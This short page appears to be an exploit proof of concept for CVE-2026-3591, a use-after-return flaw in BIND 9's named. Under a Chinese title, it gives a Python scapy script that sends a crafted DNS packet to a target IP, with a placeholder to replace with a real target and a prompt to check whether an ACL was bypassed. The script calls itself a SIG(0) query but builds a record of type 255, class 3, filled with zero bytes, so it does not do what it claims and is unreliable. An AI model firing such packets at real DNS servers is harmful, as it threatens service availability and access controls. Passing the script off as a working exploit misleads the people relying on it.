CVE-2026-3591 BIND 9 named服务器use-after-return漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-3591 (Conceptual) # Requires: scapy # Description: Sends a SIG(0) signed DNS query to trigger the ACL mismatch. from scapy.all import * import random def send_exploit(target_ip): # Construct a DNS query with SIG(0) record # Note: Actual cryptographic signing is omitted for brevity; focus on structure. domain = "example.com" # Craft packet with specific SIG(0) characteristics to trigger use-after-return pkt = IP(dst=target_ip)/UDP(dport=53)/DNS( rd=1, qd=DNSQR(qname=domain), # Adding additional/authority section with SIG(0) to trigger the path ar=DNSRR( rrname=domain, type=255, rclass=3, ttl=0, # Malformed data to attempt triggering the vulnerability rdata=b'\x00' * 64 ) ) print(f"[*] Sending crafted packet to {target_ip}...") send(pkt) print("[*] Packet sent. Check if ACL was bypassed.") if __name__ == "__main__": target = "192.168.1.100" # Replace with actual target send_exploit(target)